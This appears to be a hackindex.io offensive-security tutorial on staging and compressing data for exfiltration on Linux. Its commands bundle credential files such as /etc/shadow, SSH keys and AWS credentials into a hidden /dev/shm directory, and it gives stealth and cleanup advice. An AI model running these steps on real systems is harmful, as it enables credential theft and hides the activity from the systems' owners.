# Staging and Compressing Data for Exfiltration on Linux

> Covers techniques for aggregating, archiving, and compressing sensitive data on Linux systems prior to exfiltration, including tar, zip, and encryption methods.

- **URL:** https://hackindex.io/platforms/linux/data-exfiltration/staging-and-compressing-data
- **Path:** Linux > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/platforms/linux/data-exfiltration.md)
- **Published:** 2026-03-16
- **Updated:** 2026-07-14

Compressing before transferring reduces size, speeds up transfer, and lets you move a collection of files as a single object. Staging in the right location avoids permission issues and reduces the chance of leaving traces in monitored directories.

Key steps for staging and compressing on Linux:

- Pick a writable, low-visibility staging directory
- Compress with `tar` or `zip` to reduce transfer size
- Split large archives for size-limited channels
- Base64 encode when the channel only supports text
- Verify archive contents and size before transfer
- Clean up staged files after successful exfiltration

## Linux Staging Location for Exfiltration

Pick a writable location that fits the situation:

```
/dev/shm/          # memory-backed, no disk writes, cleared on reboot
/tmp/              # writable by all, may be cleared on reboot
/var/tmp/          # persists across reboots, often overlooked
```

`/dev/shm/` is the preferred staging area when stealth matters: nothing is written to disk. Use `/var/tmp/` when you need the staged file to survive a reboot.

Create a working directory to keep things organised:

```bash
mkdir /dev/shm/.work
```

Use a non-obvious name. Avoid names like `loot` or `exfil`.

## Compressing with tar

A single directory:

```bash
tar czf /dev/shm/.work/archive.tar.gz /var/www/html/wp-config.php /home/$USER/.ssh/ 2>/dev/null
```

Multiple targets:

```bash
tar czf /dev/shm/.work/archive.tar.gz /etc/passwd /etc/shadow ~/.aws/credentials /opt/app/.env 2>/dev/null
```

`c`: create, `z`: gzip compression, `f`: filename. The `2>/dev/null` suppresses permission errors on files you cannot read.

Verify the archive contents before transferring:

```bash
tar tzf /dev/shm/.work/archive.tar.gz
# etc/passwd
# etc/shadow
# home/user/.aws/credentials
# opt/app/.env
```

## Compressing with zip

Useful when the receiving end is Windows or when password protection is needed:

```bash
zip -r /dev/shm/.work/archive.zip /home/$USER/.ssh/ /var/www/html/wp-config.php 2>/dev/null
```

Password-protected:

```bash
zip -P $PASSWORD -r /dev/shm/.work/archive.zip /opt/app/.env ~/.aws/ 2>/dev/null
```

## Splitting Large Archives

If the transfer channel has size limits or you want to move data in smaller chunks:

```bash
split -b 5M /dev/shm/.work/archive.tar.gz /dev/shm/.work/chunk_
```

This produces files named `chunk_aa`, `chunk_ab`, etc., each 5MB. Adjust the size with `-b`. Reassemble on the receiving end:

```bash
cat chunk_aa chunk_ab chunk_ac > archive.tar.gz
tar xzf archive.tar.gz
```

## Base64 Encoding for Text Channel Transfer

When the transfer channel only supports text (a web form, a command injection that returns output, a restricted shell), encode the archive as base64:

```bash
base64 /dev/shm/.work/archive.tar.gz > /dev/shm/.work/archive.b64
```

Copy the output, then decode on your attacker machine:

```bash
base64 -d archive.b64 > archive.tar.gz
tar xzf archive.tar.gz
```

For large files, split before encoding:

```bash
base64 /dev/shm/.work/archive.tar.gz | split -b 5000 - /dev/shm/.work/b64_chunk_
```

## Checking Archive Size

```bash
du -sh /dev/shm/.work/archive.tar.gz
ls -lh /dev/shm/.work/
# 2.1M	/dev/shm/.work/archive.tar.gz
# total 2.1M
# -rw-r--r-- 1 user user 2.1M Mar 15 14:23 archive.tar.gz
```

Know the size before choosing a transfer method. Files under a few MB can go over almost any channel. Anything over 50MB warrants a dedicated transfer method rather than a covert channel.

## Cleaning Up

After successful transfer, remove the staged files:

```bash
rm -rf /dev/shm/.work/
```

`/dev/shm/` is wiped on reboot anyway, but removing it immediately avoids leaving traces if the system is inspected before rebooting.

## References

- [tar(1)](https://man7.org/linux/man-pages/man1/tar.1.html) - Linux man page Full reference for tar options including compression, exclusion patterns, and archive verification.
- [split(1)](https://man7.org/linux/man-pages/man1/split.1.html) - Linux man page Reference for splitting files by size or line count.